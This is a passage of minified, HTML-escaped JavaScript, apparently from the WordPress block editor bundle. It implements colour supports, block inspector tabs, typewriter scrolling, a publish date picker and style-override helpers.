Iae(e){return{...e.style,color:{...e.style?.color,text:e.textColor?&quot;var:preset|color|&quot;+e.textColor:e.style?.color?.text,background:e.backgroundColor?&quot;var:preset|color|&quot;+e.backgroundColor:e.style?.color?.background,gradient:e.gradient?&quot;var:preset|gradient|&quot;+e.gradient:e.style?.color?.gradient}}}function UIe({children:e,resetAllFilter:t}){let o=(0,Vd.useCallback)(r=&gt;{let n=Iae(r),i=t(n);return{...r,...Tae(i)}},[t]);return(0,c2.jsx)(fe,{group:&quot;color&quot;,resetAllFilter:o,children:e})}function d2({clientId:e,name:t,setAttributes:o,settings:r,asWrapper:n,label:i,defaultControls:s}){let a=GP(r),{style:c,textColor:u,backgroundColor:d,gradient:f}=(0,Bae.useSelect)(b=&gt;{if(!a)return{};let{style:v,textColor:k,backgroundColor:y,gradient:S}=b(_).getBlockAttributes(e)||{};return{style:v,textColor:k,backgroundColor:y,gradient:S}},[e,a]),m=(0,Vd.useMemo)(()=&gt;Iae({style:c,textColor:u,backgroundColor:d,gradient:f}),[c,u,d,f]),h=b=&gt;{o(Tae(b))};if(!a)return null;s=s||(0,xc.getBlockSupport)(t,[ir,&quot;__experimentalDefaultControls&quot;]);let p=Vd.Platform.OS===&quot;web&quot;&amp;&amp;!m?.color?.gradient&amp;&amp;(r?.color?.text||r?.color?.link)&amp;&amp;(0,xc.getBlockSupport)(t,[ir,&quot;enableContrastChecker&quot;])!==!1;return(0,c2.jsx)(WP,{as:n||UIe,panelId:e,settings:r,value:m,onChange:h,defaultControls:s,label:i,enableContrastChecker:(0,xc.getBlockSupport)(t,[ir,&quot;enableContrastChecker&quot;])!==!1,children:p&amp;&amp;(0,c2.jsx)(Cae,{clientId:e,name:t})})}function HIe({name:e,backgroundColor:t,textColor:o,gradient:r,style:n}){let[i,s,a]=me(&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;),c=(0,Vd.useMemo)(()=&gt;[...i||[],...s||[],...a||[]],[i,s,a]);if(!u2(e)||Ue(e,ir))return{};let u={};o&amp;&amp;!Ue(e,ir,&quot;text&quot;)&amp;&amp;(u.color=da(c,o)?.color),t&amp;&amp;!Ue(e,ir,&quot;background&quot;)&amp;&amp;(u.backgroundColor=da(c,t)?.color);let d=Eae({style:u},e,{textColor:o,backgroundColor:t,gradient:r,style:n}),f=t||n?.color?.background||r||n?.color?.gradient;return{...d,className:V(d.className,!f&amp;&amp;kae(n))}}var t4={useBlockProps:HIe,addSaveProps:Eae,attributeKeys:[&quot;backgroundColor&quot;,&quot;textColor&quot;,&quot;gradient&quot;,&quot;style&quot;],hasSupport:u2},GIe={linkColor:[[&quot;style&quot;,&quot;elements&quot;,&quot;link&quot;,&quot;color&quot;,&quot;text&quot;]],textColor:[[&quot;textColor&quot;],[&quot;style&quot;,&quot;color&quot;,&quot;text&quot;]],backgroundColor:[[&quot;backgroundColor&quot;],[&quot;style&quot;,&quot;color&quot;,&quot;background&quot;]],gradient:[[&quot;gradient&quot;],[&quot;style&quot;,&quot;color&quot;,&quot;gradient&quot;]]};function WIe(e,t,o,r){let n=e.name,i={linkColor:VIe(n),textColor:zIe(n),backgroundColor:FIe(n),gradient:e4(n)};return f2(i,GIe,e,t,o,r)}(0,JF.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/color/addAttribute&quot;,jIe);(0,JF.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/color/addTransforms&quot;,WIe);var kr=l(w(),1);function $Ie({blockName:e,clientId:t,contentClientIds:o}){let r=is(e),{updateBlockAttributes:n}=(0,m2.useDispatch)(_),{hasButtons:i,hasHeading:s}=(0,m2.useSelect)(c=&gt;{let u=c(_).getBlockNamesByClientId(o);return{hasButtons:u.includes(&quot;core/buttons&quot;),hasHeading:u.includes(&quot;core/heading&quot;)}},[o]);return(0,kr.jsx)(d2,{clientId:t,name:e,settings:r,setAttributes:c=&gt;{n(t,c)},asWrapper:UF,label:(0,Xb.__)(&quot;Color&quot;),defaultControls:{text:!0,background:!0,button:i,heading:s}})}var KIe=({blockName:e,clientId:t,hasBlockStyles:o,isSectionBlock:r,contentClientIds:n})=&gt;{let i=$b({blockName:e});return(0,kr.jsxs)(kr.Fragment,{children:[o&amp;&amp;(0,kr.jsx)(Qg,{clientId:t}),r&amp;&amp;(0,kr.jsx)($Ie,{blockName:e,clientId:t,contentClientIds:n}),!r&amp;&amp;(0,kr.jsxs)(kr.Fragment,{children:[(0,kr.jsx)(fe.Slot,{group:&quot;color&quot;,label:(0,Xb.__)(&quot;Color&quot;),className:&quot;color-block-support-panel__inner-wrapper&quot;}),(0,kr.jsx)(fe.Slot,{group:&quot;background&quot;,label:(0,Xb.__)(&quot;Background image&quot;)}),(0,kr.jsx)(fe.Slot,{group:&quot;filter&quot;}),(0,kr.jsx)(fe.Slot,{group:&quot;typography&quot;,label:(0,Xb.__)(&quot;Typography&quot;)}),(0,kr.jsx)(fe.Slot,{group:&quot;dimensions&quot;,label:(0,Xb.__)(&quot;Dimensions&quot;)}),(0,kr.jsx)(fe.Slot,{group:&quot;border&quot;,label:i}),(0,kr.jsx)(fe.Slot,{group:&quot;styles&quot;})]})]})},Pae=KIe;var Rae=l(A(),1),Oae=l(N(),1);var p2=l($(),1),h2=l(F(),1),fi=l(A(),1);var ss=l(w(),1);function g2({clientIds:e,onSelect:t,onSwitchToListView:o,hasListViewTab:r}){return e.length?(0,ss.jsx)(fi.__experimentalVStack,{spacing:1,children:e.map(n=&gt;(0,ss.jsx)(YIe,{onSelect:t,onSwitchToListView:o,hasListViewTab:r,clientId:n},n))}):null}function YIe({clientId:e,onSelect:t,onSwitchToListView:o,hasListViewTab:r}){let n=Tt(e),{isSelected:i,childBlocks:s,hasListViewSupport:a,blockName:c}=(0,h2.useSelect)(p=&gt;{let{isBlockSelected:g,hasSelectedInnerBlock:b,getBlockOrder:v,getBlockName:k}=p(_),y=k(e);return{isSelected:g(e)||b(e,!0),childBlocks:v(e),hasListViewSupport:y===&quot;core/navigation&quot;||(0,p2.hasBlockSupport)(y,&quot;listView&quot;),blockName:y}},[e]),d=(0,p2.getBlockType)(c)?.title||c,{selectBlock:f}=(0,h2.useDispatch)(_),h=s&amp;&amp;s.length&gt;0&amp;&amp;r&amp;&amp;a;return(0,ss.jsx)(fi.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-block-quick-navigation__item&quot;,isPressed:i,onClick:async()=&gt;{await f(e),h&amp;&amp;o&amp;&amp;o(e),t&amp;&amp;t(e)},children:(0,ss.jsxs)(fi.Flex,{children:[(0,ss.jsx)(fi.FlexItem,{children:(0,ss.jsx)(Ae,{icon:n?.icon})}),(0,ss.jsx)(fi.FlexBlock,{style:{textAlign:&quot;left&quot;},children:(0,ss.jsx)(fi.__experimentalTruncate,{children:d})}),h&amp;&amp;(0,ss.jsx)(fi.FlexItem,{children:(0,ss.jsx)(we,{icon:Vo,size:24})})]})})}var Qb=l(w(),1),qIe=({contentClientIds:e,onSwitchToListView:t,hasListViewTab:o})=&gt;{if(!e||e.length===0)return null;let r=window?.__experimentalContentOnlyInspectorFields;return(0,Qb.jsx)(Qb.Fragment,{children:!r&amp;&amp;(0,Qb.jsx)(Rae.PanelBody,{title:(0,Oae.__)(&quot;Content&quot;),children:(0,Qb.jsx)(g2,{clientIds:e,onSwitchToListView:t,hasListViewTab:o})})})},b2=qIe;var Wo=l(w(),1),{Tabs:Fd}=M(ek.privateApis);function o4({blockName:e,clientId:t,hasBlockStyles:o,tabs:r,isSectionBlock:n,contentClientIds:i}){let s=(0,oa.useRef)(null),a=(0,Jb.useSelect)(S=&gt;S(Aae.store).get(&quot;core&quot;,&quot;showIconLabels&quot;),[]),{requestedTab:c}=(0,Jb.useSelect)(S=&gt;({requestedTab:M(S(_)).getRequestedInspectorTab()})),[u,d]=(0,oa.useState)(()=&gt;c?.tabName??r[0]?.name),f=(0,oa.useRef)(!1),m=(0,oa.useRef)(!1),{__unstableSetOpenListViewPanel:h,__unstableIncrementListViewExpandRevision:p,__unstableSetAllListViewPanelsOpen:g}=(0,Jb.useDispatch)(_),{clearRequestedInspectorTab:b}=M((0,Jb.useDispatch)(_));(0,oa.useEffect)(()=&gt;{f.current=!1},[t]),(0,oa.useEffect)(()=&gt;{c&amp;&amp;(d(c.tabName),c.tabName===yc.name&amp;&amp;c.options?.openPanel&amp;&amp;(h(c.options.openPanel),p()),m.current=!0,f.current=!0,b())},[c,h,p,b]),(0,oa.useEffect)(()=&gt;{u===yc.name&amp;&amp;!f.current&amp;&amp;(g(),p())},[t,u,g,p]),(0,oa.useEffect)(()=&gt;{if(!r?.length||f.current&amp;&amp;r.some(x=&gt;x.name===u))return;let S=r[0]?.name;u!==S&amp;&amp;d(S)},[r,u]);let v=S=&gt;{d(S),f.current=!0,S===yc.name&amp;&amp;!m.current&amp;&amp;(g(),p()),m.current=!1},k=r.some(S=&gt;S.name===yc.name),y=S=&gt;{k&amp;&amp;(h(S),p(),m.current=!0,v(yc.name))};return(0,Wo.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-inspector__tabs&quot;,children:(0,Wo.jsxs)(Fd,{selectedTabId:u,onSelect:v,children:[(0,Wo.jsx)(Fd.TabList,{children:r.map(S=&gt;a?(0,Wo.jsx)(Fd.Tab,{tabId:S.name,children:S.title},S.name):(0,Wo.jsx)(ek.Tooltip,{text:S.title,children:(0,Wo.jsx)(Fd.Tab,{tabId:S.name,&quot;aria-label&quot;:S.title,children:(0,Wo.jsx)(ek.Icon,{icon:S.icon})})},S.name))}),(0,Wo.jsxs)(Fd.TabPanel,{tabId:_P.name,focusable:!1,children:[(0,Wo.jsx)(b2,{contentClientIds:i,onSwitchToListView:y,hasListViewTab:k}),(0,Wo.jsx)(fe.Slot,{group:&quot;content&quot;})]}),(0,Wo.jsxs)(Fd.TabPanel,{tabId:yc.name,focusable:!1,children:[(0,Wo.jsx)(fe.Slot,{group:&quot;list&quot;,ref:s}),(0,Wo.jsx)(tE,{listViewRef:s})]}),(0,Wo.jsx)(Fd.TabPanel,{tabId:yP.name,focusable:!1,children:(0,Wo.jsx)(sse,{showAdvancedControls:!!e})}),(0,Wo.jsx)(Fd.TabPanel,{tabId:SP.name,focusable:!1,children:(0,Wo.jsx)(Pae,{blockName:e,clientId:t,hasBlockStyles:o,isSectionBlock:n,contentClientIds:i})})]},t)})}var mi=l(A(),1),Lae=l(F(),1);var ZIe=[];function XIe(e,t={}){return t[e]!==void 0?t[e]:t.default!==void 0?t.default:!0}function Nae(e,t,o,r){let n=[],{bindings:i,border:s,color:a,content:c,default:u,dimensions:d,list:f,position:m,styles:h,typography:p,effects:g}=Wi,b=(0,mi.__experimentalUseSlotFills)(f.name),v=!!b&amp;&amp;b.length,k=(0,mi.__experimentalUseSlotFills)(c.name),y=!!k&amp;&amp;k.length,x=[...(0,mi.__experimentalUseSlotFills)(s.name)||[],...(0,mi.__experimentalUseSlotFills)(a.name)||[],...(0,mi.__experimentalUseSlotFills)(d.name)||[],...(0,mi.__experimentalUseSlotFills)(h.name)||[],...(0,mi.__experimentalUseSlotFills)(p.name)||[],...(0,mi.__experimentalUseSlotFills)(g.name)||[]].length,C=[...(0,mi.__experimentalUseSlotFills)(rd.slotName)||[],...(0,mi.__experimentalUseSlotFills)(i.name)||[]],B=[...(0,mi.__experimentalUseSlotFills)(u.name)||[],...(0,mi.__experimentalUseSlotFills)(m.name)||[],...v&amp;&amp;x&gt;1?C:[]],I=window?.__experimentalContentOnlyInspectorFields,P=y||!I&amp;&amp;t?.length;P&amp;&amp;n.push(_P),v&amp;&amp;n.push(yc),(B.length||C.length&amp;&amp;(P||v))&amp;&amp;n.push(yP);let{tabSettings:E,isPreviewMode:L}=(0,Lae.useSelect)(O=&gt;{let D=O(_).getSettings();return{tabSettings:D.blockInspectorTabs,isPreviewMode:D.isPreviewMode}},[]);return!L&amp;&amp;(r||x)&amp;&amp;n.push(SP),XIe(e,E)?n:ZIe}var Mae=l(A(),1);var r4=l(w(),1),{Fill:QIe,Slot:JIe}=(0,Mae.createSlotFill)(Symbol(&quot;InspectorControlsLastItem&quot;)),Dae=e=&gt;Ie()[bs]?(0,r4.jsx)(QIe,{...e}):null;Dae.Slot=function(t){return(0,r4.jsx)(JIe,{...t})};var k2=Dae;var Vae=l(F(),1);function Fae(e){return(0,Vae.useSelect)(t=&gt;{if(e){let o=t(_).getSettings().blockInspectorAnimation,r=o?.animationParent,{getSelectedBlockClientId:n,getBlockParentsByBlockName:i}=t(_),s=n();return!i(s,r,!0)[0]&amp;&amp;e.name!==r?null:o?.[e.name]}return null},[e])}var _e=l(w(),1);function Uae({blockName:e,showAdvancedControls:t=!0,showPositionControls:o=!0,showBindingsControls:r=!0}){let n=$b({blockName:e});return(0,_e.jsxs)(_e.Fragment,{children:[(0,_e.jsx)(fe.Slot,{}),(0,_e.jsx)(fe.Slot,{group:&quot;color&quot;,label:(0,tk.__)(&quot;Color&quot;),className:&quot;color-block-support-panel__inner-wrapper&quot;}),(0,_e.jsx)(fe.Slot,{group:&quot;background&quot;,label:(0,tk.__)(&quot;Background image&quot;)}),(0,_e.jsx)(fe.Slot,{group:&quot;typography&quot;,label:(0,tk.__)(&quot;Typography&quot;)}),(0,_e.jsx)(fe.Slot,{group:&quot;dimensions&quot;,label:(0,tk.__)(&quot;Dimensions&quot;)}),(0,_e.jsx)(fe.Slot,{group:&quot;border&quot;,label:n}),(0,_e.jsx)(fe.Slot,{group:&quot;styles&quot;}),o&amp;&amp;(0,_e.jsx)(CP,{}),r&amp;&amp;(0,_e.jsx)(fe.Slot,{group:&quot;bindings&quot;}),t&amp;&amp;(0,_e.jsx)(&quot;div&quot;,{children:(0,_e.jsx)(xP,{})})]})}function ePe(){let{selectedBlockCount:e,renderedBlockName:t,renderedBlockClientId:o,blockType:r,isSectionBlock:n,isSectionBlockInSelection:i,hasBlockStyles:s,editedContentOnlySection:a}=(0,n4.useSelect)(g=&gt;{let{getSelectedBlockClientId:b,getSelectedBlockClientIds:v,getSelectedBlockCount:k,getBlockName:y,getParentSectionBlock:S,isSectionBlock:x,getEditedContentOnlySection:C,isWithinEditedContentOnlySection:B}=M(g(_)),{getBlockStyles:I}=g(zd.store),P=b(),L=B(P)?P:S(P)||P,T=L&amp;&amp;y(L),O=T&amp;&amp;(0,zd.getBlockType)(T),U=v().some(z=&gt;x(z)),G=T&amp;&amp;I(T),j=G&amp;&amp;G.length&gt;0;return{selectedBlockCount:k(),renderedBlockClientId:L,renderedBlockName:T,blockType:O,isSectionBlockInSelection:U,isSectionBlock:x(L),hasBlockStyles:j,editedContentOnlySection:C()}},[]),c=(0,n4.useSelect)(g=&gt;{if(!n||!o)return[];let{getClientIdsOfDescendants:b,getBlockName:v,getBlockEditingMode:k}=M(g(_)),y=b(o),S=new Set;return y.forEach(x=&gt;{let C=v(x);(C===&quot;core/navigation&quot;||(0,zd.hasBlockSupport)(C,&quot;listView&quot;))&amp;&amp;b(x).forEach(I=&gt;S.add(I))}),y.filter(x=&gt;!S.has(x)&amp;&amp;k(x)===&quot;contentOnly&quot;)},[n,o]),u=Nae(r?.name,c,n,s),d=u?.length&gt;1,f=Fae(r),m=e&gt;1;if(m&amp;&amp;!i)return(0,_e.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-inspector&quot;,children:[(0,_e.jsx)(NF,{}),d?(0,_e.jsx)(o4,{tabs:u}):(0,_e.jsx)(Uae,{blockName:t,showAdvancedControls:!1,showPositionControls:!1,showBindingsControls:!1})]});if(m&amp;&amp;i)return(0,_e.jsx)(&quot;div&quot;,{className:&quot;block-editor-block-inspector&quot;,children:(0,_e.jsx)(NF,{})});let h=t===(0,zd.getUnregisteredTypeHandlerName)();return!r||!o||h?(0,_e.jsx)(&quot;span&quot;,{className:&quot;block-editor-block-inspector__no-blocks&quot;,children:(0,tk.__)(&quot;No block selected.&quot;)}):(0,_e.jsx)(tPe,{animate:f,wrapper:g=&gt;(0,_e.jsx)(oPe,{blockInspectorAnimationSettings:f,renderedBlockClientId:o,children:g}),children:(0,_e.jsx)(rPe,{renderedBlockClientId:o,blockName:r.name,isSectionBlock:n,availableTabs:u,contentClientIds:c,hasBlockStyles:s,editedContentOnlySection:a})})}var tPe=({animate:e,wrapper:t,children:o})=&gt;e?t(o):o,oPe=({blockInspectorAnimationSettings:e,renderedBlockClientId:t,children:o})=&gt;{let r=e&amp;&amp;e.enterDirection===&quot;leftToRight&quot;?-50:50;return(0,_e.jsx)(zae.__unstableMotion.div,{animate:{x:0,opacity:1,transition:{ease:&quot;easeInOut&quot;,duration:.14}},initial:{x:r,opacity:0},children:o},t)},rPe=({renderedBlockClientId:e,blockName:t,isSectionBlock:o,availableTabs:r,contentClientIds:n,hasBlockStyles:i,editedContentOnlySection:s})=&gt;{let a=(0,jae.useRef)(null),c=r?.length&gt;1,u=s&amp;&amp;s!==e,d=Tt(s),f=Tt(e),m=f.isSynced;return(0,_e.jsxs)(&quot;div&quot;,{className:&quot;block-editor-block-inspector&quot;,children:[u&amp;&amp;(0,_e.jsx)(yy,{...d,className:d?.isSynced&amp;&amp;&quot;is-synced&quot;,parentClientId:s}),(0,_e.jsx)(yy,{...f,allowParentNavigation:!0,className:m&amp;&amp;&quot;is-synced&quot;,isChild:u,clientId:e}),(0,_e.jsx)(u9,{clientId:e}),(0,_e.jsx)(Xie,{clientId:e}),(0,_e.jsx)(WT,{blockClientId:e}),c&amp;&amp;(0,_e.jsx)(_e.Fragment,{children:(0,_e.jsx)(o4,{hasBlockStyles:i,clientId:e,blockName:t,tabs:r,isSectionBlock:o,contentClientIds:n})}),!c&amp;&amp;(0,_e.jsxs)(_e.Fragment,{children:[i&amp;&amp;(0,_e.jsx)(Qg,{clientId:e}),(0,_e.jsx)(b2,{contentClientIds:n}),(0,_e.jsx)(fe.Slot,{group:&quot;content&quot;}),(0,_e.jsx)(fe.Slot,{group:&quot;list&quot;,ref:a}),(0,_e.jsx)(tE,{listViewRef:a}),!o&amp;&amp;(0,_e.jsx)(Uae,{blockName:t})]}),(0,_e.jsx)(k2.Slot,{}),(0,_e.jsx)(kP,{},&quot;back&quot;)]})},Hae=ePe;var i4=l(Re(),1);var Gae=l(w(),1),Wae=()=&gt;((0,i4.default)(&quot;__unstableUseClipboardHandler&quot;,{alternative:&quot;BlockCanvas or WritingFlow&quot;,since:&quot;6.4&quot;,version:&quot;6.7&quot;}),xy());function $ae(e){return(0,i4.default)(&quot;CopyHandler&quot;,{alternative:&quot;BlockCanvas or WritingFlow&quot;,since:&quot;6.4&quot;,version:&quot;6.7&quot;}),(0,Gae.jsx)(&quot;div&quot;,{...e,ref:xy()})}var Kae=l(F(),1),s4=l(R(),1);var a4=l(w(),1),nPe=()=&gt;{};function iPe({rootClientId:e,clientId:t,isAppender:o,showInserterHelpPanel:r,showMostUsedBlocks:n=!1,__experimentalInsertionIndex:i,__experimentalInitialTab:s,__experimentalInitialCategory:a,__experimentalFilterValue:c,onPatternCategorySelection:u,onSelect:d=nPe,shouldFocusBlock:f=!1,onClose:m},h){let{destinationRootClientId:p}=(0,Kae.useSelect)(g=&gt;{let{getBlockRootClientId:b}=g(_);return{destinationRootClientId:e||b(t)||void 0}},[t,e]);return(0,a4.jsx)(W5,{onSelect:d,rootClientId:p,clientId:t,isAppender:o,showInserterHelpPanel:r,showMostUsedBlocks:n,__experimentalInsertionIndex:i,__experimentalFilterValue:c,onPatternCategorySelection:u,__experimentalInitialTab:s,__experimentalInitialCategory:a,shouldFocusBlock:f,ref:h,onClose:m})}var l4=(0,s4.forwardRef)(iPe);function sPe(e,t){return(0,a4.jsx)(l4,{...e,onPatternCategorySelection:void 0,ref:t})}var Yae=(0,s4.forwardRef)(sPe);var qae=l(Re(),1);function Zae(){return(0,qae.default)(&quot;wp.blockEditor.MultiSelectScrollIntoView&quot;,{hint:&quot;This behaviour is now built-in.&quot;,since:&quot;5.8&quot;}),null}var Xae=l(Z(),1),x_=l(Fe(),1),Qae=l(F(),1),jd=l(it(),1);var Jae=l(w(),1),aPe=window.navigator.userAgent.indexOf(&quot;Trident&quot;)!==-1,lPe=new Set([jd.UP,jd.DOWN,jd.LEFT,jd.RIGHT]),cPe=.75;function c4(){let e=(0,Qae.useSelect)(t=&gt;t(_).hasSelectedBlock(),[]);return(0,Xae.useRefEffect)(t=&gt;{if(!e)return;let{ownerDocument:o}=t,{defaultView:r}=o,n,i,s;function a(){n||(n=r.requestAnimationFrame(()=&gt;{m(),n=null}))}function c(g){i&amp;&amp;r.cancelAnimationFrame(i),i=r.requestAnimationFrame(()=&gt;{u(g),i=null})}function u({keyCode:g}){if(!h())return;let b=(0,x_.computeCaretRect)(r);if(!b)return;if(!s){s=b;return}if(lPe.has(g)){s=b;return}let v=b.top-s.top;if(v===0)return;let k=(0,x_.getScrollContainer)(t);if(!k)return;let y=k===o.body||k===o.documentElement,S=y?r.scrollY:k.scrollTop,x=y?0:k.getBoundingClientRect().top,C=y?s.top/r.innerHeight:(s.top-x)/(r.innerHeight-x);if(S===0&amp;&amp;C&lt;cPe&amp;&amp;p()){s=b;return}let B=y?r.innerHeight:k.clientHeight;if(s.top+s.height&gt;x+B||s.top&lt;x){s=b;return}y?r.scrollBy(0,v):k.scrollTop+=v}function d(){o.addEventListener(&quot;selectionchange&quot;,f)}function f(){o.removeEventListener(&quot;selectionchange&quot;,f),m()}function m(){h()&amp;&amp;(s=(0,x_.computeCaretRect)(r))}function h(){return t.contains(o.activeElement)&amp;&amp;o.activeElement.isContentEditable}function p(){let g=t.querySelectorAll(&#039;[contenteditable=&quot;true&quot;]&#039;);return g[g.length-1]===o.activeElement}return r.addEventListener(&quot;scroll&quot;,a,!0),r.addEventListener(&quot;resize&quot;,a,!0),t.addEventListener(&quot;keydown&quot;,c),t.addEventListener(&quot;keyup&quot;,u),t.addEventListener(&quot;mousedown&quot;,d),t.addEventListener(&quot;touchstart&quot;,d),()=&gt;{r.removeEventListener(&quot;scroll&quot;,a,!0),r.removeEventListener(&quot;resize&quot;,a,!0),t.removeEventListener(&quot;keydown&quot;,c),t.removeEventListener(&quot;keyup&quot;,u),t.removeEventListener(&quot;mousedown&quot;,d),t.removeEventListener(&quot;touchstart&quot;,d),o.removeEventListener(&quot;selectionchange&quot;,f),r.cancelAnimationFrame(n),r.cancelAnimationFrame(i)}},[e])}function uPe({children:e}){return(0,Jae.jsx)(&quot;div&quot;,{ref:c4(),className:&quot;block-editor__typewriter&quot;,children:e})}var dPe=aPe?e=&gt;e.children:uPe,ele=dPe;var dp=l(R(),1),u4=l(Re(),1);var d4=l(w(),1),v2=(0,dp.createContext)({});v2.displayName=&quot;RenderedRefsContext&quot;;function fPe(e,t,o){let r={...e,[t]:e[t]?new Set(e[t]):new Set};return r[t].add(o),r}function f4({children:e,uniqueId:t,blockName:o=&quot;&quot;}){let r=(0,dp.useContext)(v2),{name:n}=Ie();o=o||n;let i=(0,dp.useMemo)(()=&gt;fPe(r,o,t),[r,o,t]);return(0,d4.jsx)(v2.Provider,{value:i,children:e})}function m4(e,t=&quot;&quot;){let o=(0,dp.useContext)(v2),{name:r}=Ie();return t=t||r,!!o[t]?.has(e)}var tle=e=&gt;((0,u4.default)(&quot;wp.blockEditor.__experimentalRecursionProvider&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.blockEditor.RecursionProvider&quot;}),(0,d4.jsx)(f4,{...e})),ole=(...e)=&gt;((0,u4.default)(&quot;wp.blockEditor.__experimentalUseHasRecursion&quot;,{since:&quot;6.5&quot;,alternative:&quot;wp.blockEditor.useHasRecursion&quot;}),m4(...e));var S2=l(A(),1),p4=l(N(),1),h4=l(R(),1),nle=l(pc(),1);var pi=l(A(),1);var rle=l(N(),1),wc=l(w(),1);function y2({title:e,help:t,actions:o=[],onClose:r}){return(0,wc.jsxs)(pi.__experimentalVStack,{className:&quot;block-editor-inspector-popover-header&quot;,spacing:4,children:[(0,wc.jsxs)(pi.__experimentalHStack,{alignment:&quot;center&quot;,children:[(0,wc.jsx)(pi.__experimentalHeading,{className:&quot;block-editor-inspector-popover-header__heading&quot;,level:2,size:13,children:e}),(0,wc.jsx)(pi.__experimentalSpacer,{}),o.map(({label:n,icon:i,onClick:s})=&gt;(0,wc.jsx)(pi.Button,{size:&quot;small&quot;,className:&quot;block-editor-inspector-popover-header__action&quot;,label:n,icon:i,variant:!i&amp;&amp;&quot;tertiary&quot;,onClick:s,children:!i&amp;&amp;n},n)),r&amp;&amp;(0,wc.jsx)(pi.Button,{size:&quot;small&quot;,className:&quot;block-editor-inspector-popover-header__action&quot;,label:(0,rle.__)(&quot;Close&quot;),icon:wf,onClick:r})]}),t&amp;&amp;(0,wc.jsx)(pi.__experimentalText,{children:t})]})}var ok=l(w(),1);function mPe({onClose:e,onChange:t,showPopoverHeaderActions:o,isCompact:r,currentDate:n,title:i,...s},a){let c={startOfWeek:(0,nle.getSettings)().l10n.startOfWeek,onChange:t,currentDate:r?void 0:n,currentTime:r?n:void 0,...s},u=r?S2.TimePicker:S2.DateTimePicker;return(0,ok.jsxs)(&quot;div&quot;,{ref:a,className:&quot;block-editor-publish-date-time-picker&quot;,children:[(0,ok.jsx)(y2,{title:i||(0,p4.__)(&quot;Publish&quot;),actions:o?[{label:(0,p4.__)(&quot;Now&quot;),onClick:()=&gt;t?.(null)}]:void 0,onClose:e}),(0,ok.jsx)(u,{...c})]})}var g4=(0,h4.forwardRef)(mPe);function pPe(e,t){return(0,ok.jsx)(g4,{...e,showPopoverHeaderActions:!0,isCompact:!1,ref:t})}var ile=(0,h4.forwardRef)(pPe);var _2=l(F(),1),sle=l(R(),1);function ao(e){let t=Ie(),{clientId:o=&quot;&quot;}=t,{setBlockEditingMode:r,unsetBlockEditingMode:n}=(0,_2.useDispatch)(_),i=(0,_2.useSelect)(s=&gt;o?null:s(_).getBlockEditingMode(),[o]);return(0,sle.useEffect)(()=&gt;(e&amp;&amp;r(o,e),()=&gt;{e&amp;&amp;n(o)}),[o,e,r,n]),o?t[u0]:i}var ale=l(Re(),1),lle=l(R(),1);function hPe(){return(0,ale.default)(&quot;wp.blockEditor.ToolSelector&quot;,{since:&quot;6.9&quot;,hint:&quot;The ToolSelector component no longer renders anything.&quot;}),null}var cle=(0,lle.forwardRef)(hPe);var C_=l(w(),1),Me=e=&gt;{if(e===null||typeof e!=&quot;object&quot;||Array.isArray(e))return e;let t=Object.entries(e).map(([o,r])=&gt;[o,Me(r)]).filter(([,o])=&gt;o!==void 0);return t.length?Object.fromEntries(t):void 0};function f2(e,t,o,r,n,i){if(Object.values(e??{}).every(c=&gt;!c)||i.length===1&amp;&amp;o.innerBlocks.length===r.length)return o;let s=r[0]?.attributes;if(i.length&gt;1&amp;&amp;r.length&gt;1)if(r[n])s=r[n]?.attributes;else return o;let a=o;return Object.entries(e).forEach(([c,u])=&gt;{u&amp;&amp;t[c].forEach(d=&gt;{let f=yl(s,d);f&amp;&amp;(a={...a,attributes:pe(a.attributes,d,f)})})}),a}function Ue(e,t,o){let n=(0,ule.getBlockSupport)(e,t)?.__experimentalSkipSerialization;return Array.isArray(n)?n.includes(o):n}var Cc=new WeakMap;function Qn({id:e,css:t}){return tc({id:e,css:t})}function tc({id:e,css:t,assets:o,__unstableType:r,variation:n,clientId:i}={}){let{setStyleOverride:s,deleteStyleOverride:a}=M((0,x2.useDispatch)(_)),c=(0,x2.useRegistry)(),u=(0,as.useId)();(0,as.useEffect)(()=&gt;{if(!t&amp;&amp;!o)return;let d=e||u,f={id:e,css:t,assets:o,__unstableType:r,variation:n,clientId:i};return Cc.get(c)||Cc.set(c,[]),Cc.get(c).push([d,f]),window.queueMicrotask(()=&gt;{Cc.get(c)?.length&amp;&amp;c.batch(()=&gt;{Cc.get(c).forEach(m=&gt;{s(...m)}),Cc.set(c,[])})}),()=&gt;{Cc.get(c)?.find(([h])=&gt;h===d)?Cc.set(c,Cc.get(c).filter(([h])=&gt;h!==d)):a(d)}},[e,t,i,o,r,u,s,a,c,n])}function is(e,t){let[o,r,n,i,s,a,c,u,d,f,m,h,p,g,b,v,k,y,S,x,C,B,I,P,E,L,T,O,D,U,G,j,z,W,ee,se,ce,ie,re,Q,Y,J,K,H,X,ne,le,ve,he,xe,ze,ot,Wt,fo,Do,rt,ar,xt,At,Pe,wt]=me(&quot;background.backgroundImage&quot;,&quot;background.backgroundSize&quot;,&quot;typography.fontFamilies.custom&quot;,&quot;typography.fontFamilies.default&quot;,&quot;typography.fontFamilies.theme&quot;,&quot;typography.defaultFontSizes&quot;,&quot;typography.fontSizes.custom&quot;,&quot;typography.fontSizes.default&quot;,&quot;typography.fontSizes.theme&quot;,&quot;typography.customFontSize&quot;,&quot;typography.fontStyle&quot;,&quot;typography.fontWeight&quot;,&quot;typography.lineHeight&quot;,&quot;typography.textAlign&quot;,&quot;typography.textColumns&quot;,&quot;typography.textDecoration&quot;,&quot;typography.textIndent&quot;,&quot;typography.writingMode&quot;,&quot;typography.textTransform&quot;,&quot;typography.letterSpacing&quot;,&quot;spacing.padding&quot;,&quot;spacing.margin&quot;,&quot;spacing.blockGap&quot;,&quot;spacing.defaultSpacingSizes&quot;,&quot;spacing.customSpacingSize&quot;,&quot;spacing.spacingSizes.custom&quot;,&quot;spacing.spacingSizes.default&quot;,&quot;spacing.spacingSizes.theme&quot;,&quot;spacing.units&quot;,&quot;dimensions.aspectRatio&quot;,&quot;dimensions.height&quot;,&quot;dimensions.minHeight&quot;,&quot;dimensions.width&quot;,&quot;dimensions.dimensionSizes&quot;,&quot;layout&quot;,&quot;border.color&quot;,&quot;border.radius&quot;,&quot;border.style&quot;,&quot;border.width&quot;,&quot;border.radiusSizes&quot;,&quot;color.custom&quot;,&quot;color.palette.custom&quot;,&quot